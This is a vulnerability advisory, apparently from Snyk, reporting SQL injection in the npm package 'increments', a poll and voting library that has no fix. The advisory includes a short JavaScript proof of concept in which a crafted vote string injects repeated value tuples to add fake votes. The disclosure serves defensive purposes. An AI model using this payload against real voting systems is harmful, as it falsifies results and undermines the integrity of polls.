SQL Injection Affecting increments package, versions *


Severity

Recommended
0.0
high
0
10

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Exploit Maturity
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  • Snyk IDSNYK-JS-INCREMENTS-544024
  • published3 Feb 2020
  • disclosed2 Feb 2020
  • creditverichains

Introduced: 2 Feb 2020

CVE NOT AVAILABLE CWE-89  (opens in a new tab)

How to fix?

There is no fixed version for increments.

Overview

increments is a database-driven for creating polls and taking votes for various options, candidates, or parties.

Affected versions of this package are vulnerable to SQL Injection. Does not escape voting data allowing attacker to create fake votes.

PoC

const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
    console.log( f.projectedWinner );
    process.exit(0);
});

References

CVSS Scores

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